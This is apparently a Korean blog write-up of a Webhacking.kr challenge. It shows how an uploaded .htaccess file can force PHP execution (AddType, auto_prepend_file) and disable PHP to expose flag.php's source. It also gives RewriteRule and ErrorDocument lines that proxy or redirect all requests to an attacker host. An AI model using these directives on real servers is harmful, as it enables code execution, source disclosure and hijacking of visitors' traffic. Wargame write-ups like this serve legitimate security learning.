728x90
저 flag.php 를 읽으면 된다.
처음 flag.php에 접속하면 아무것도 뜨지 않는다.
이게 read권한이 없어서 그냥 안읽히는줄 알고 php 웹쉘을 시도해봤는데 < 괄호가 필터링되어서 웹쉘을 시도할 수가 없었다.
그래서 찾아보니깐 apache환경에서 .htaccess라는 파일을 사용할 수 있다고 한다.
.htaccess파일은 같은 폴더의 파일들에 룰을 지정? 할 수 있는 그런 apache 설정 파일이다.
.htaccess 파일이 은근 뭘 많이 할 수 있는데 쓸만한거 몇개 올려보겠다.
1. 파일 확장자 지정
AddType application/x-httpd-php .xxx
.xxx라는 파일을 php파일로 쓸 수 있다.
2. 파일 강제 실행
php_value auto_prepend_file /full/path/to/prepend.php
이 설정은 어떤 파일이 실행되기 전에 무조건 prepend.php를 먼저 실행하고 그다음에 파일을 실행시켜준다.
3. 인덱스 디렉터리 변경
DirectoryIndex home.php
인덱스 디렉터리를 home.php로 설정한다.
/로 리다이렉트하면 home.php로 변경되어 있는걸 확인 가능하다.
4. 실행중지
php_flag engine off
사실상 이문제의 답이다.
저렇게 하면 php파일인 flag를 실행시키지 않게 한다.
처음에 flag.php가 r 권한이 없는줄 알았지만 알고보니 flag.php를 실행시켜서 flag가 안나오는 것이었다.
그래서 저 engine off 설정을 해주면 flag.php가 실행되지 않고 flag를 확인 가능하다.
5. 요청 리다이렉트
RewriteEngine On
RewriteOptions inherit
# mod_proxy_fcgi를 사용하는 경우 FastCGI 서버로 요청 프록시
RewriteRule (.*) fcgi://attacker.dreamhack.io.$1 [P]
# mod_proxy_http를 사용하는 경우 HTTP 서버로 요청 프록시
RewriteRule (.*) http://%{HTTP_HOST}at.attacker.dreamhack.io.$1 [P]
# HTTP Redirect 사용
RewriteRule (.*) http://%{HTTP_HOST}at.attacker.dreamhack.io.$1 [R=302,L]
# 에러 페이지를 공격자의 웹 페이지로 리다이렉트합니다.
ErrorDocument 404 https://attacker.dreamhack.io
공격자의 웹페이지로 모든 네트워크 요청을 보낼 수 있다.
728x90
반응형
'Web Hacking > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-30 (편법) (0) | 2024.07.15 |
---|---|
[Webhacking.kr] old-45 풀이 (0) | 2024.07.15 |
[Webhacking.kr] old-02 (0) | 2024.07.06 |
[Webhacking.kr] old-29 풀이 (0) | 2024.04.29 |
Webhacking.kr old-34풀이 (2) | 2024.02.08 |